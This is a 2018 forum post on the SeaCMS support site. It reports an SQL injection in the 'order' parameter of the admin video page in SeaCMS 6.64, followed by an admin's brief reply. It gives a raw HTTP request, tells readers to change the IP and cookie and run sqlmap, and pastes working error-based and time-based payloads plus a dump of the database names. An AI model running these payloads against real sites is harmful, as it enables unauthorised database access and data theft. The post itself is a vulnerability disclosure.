搜索

存在sql注入

[复制链接]
bug1234 发表于 2018-9-10 10:20:38 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?注册加入

x
[tr][/tr]
[tr][/tr]
order参数存在sql注入

GET /seacms6.64/upload/admin/admin_video.php?repeat=ok&order=v_name&allrepeat=ok' HTTP/1.1
Host: 172.16.173.249
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://172.16.173.203/seacms6.64 ... e.php?action=repeat
Cookie: PHPSESSID=odsoljsk6cvfkvcgm0i03v8np6
Connection: close
Upgrade-Insecure-Requests: 1


将ip,cookie更改,使用sqlmap测试即可



sqlmap扫描结果:
  • Parameter: order (GET)
  •     Type: error-based
  •     Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  •     Payload: repeat=ok&order=v_name AND EXTRACTVALUE(9668,CONCAT(0x5c,0x7171767071,(SELECT (ELT(9668=9668,1))),0x716a717a71))&allrepeat=ok'
  •     Type: AND/OR time-based blind
  •     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  •     Payload: repeat=ok&order=v_name AND (SELECT * FROM (SELECT(SLEEP(5)))XHME)&allrepeat=ok'
  • ---
  • [22:40:36] [INFO] the back-end DBMS is MySQL
  • web server operating system: Linux Ubuntu
  • web application technology: Apache 2.4.29
  • back-end DBMS: MySQL >= 5.1


[color=rgb(0, 153, 204) !important]复制代码





注入出数据库:

  • information_schema
  • [22:43:58] [INFO] retrieved: OTCMS
  • [22:44:15] [INFO] retrieved: mysql
  • [22:44:32] [INFO] retrieved: performance_schema
  • [22:45:29] [INFO] retrieved: seacms
  • [22:45:45] [INFO] retrieved: sys
  • available databases [6]:
  • information_schema
  • mysql
  • OTCMS
  • performance_schema
  • seacms
  • sys
  • [22:45:56] [INFO] fetched data logged to text files under '/Users/xiaohuihui/.sqlmap/output/172.16.173.249'

[color=rgb(0, 153, 204) !important]复制代码








admin 发表于 2018-9-14 12:46:39 | 显示全部楼层
所有admin安全目录问题暂不处理。
回复

使用道具 举报

小黑屋|海洋CMS

GMT+8, 2019-2-20 08:20 , Processed in 0.106708 second(s), 22 queries .

Powered by SeaCMS!

© 2015-2018 seacms.net.

快速回复 返回顶部 返回列表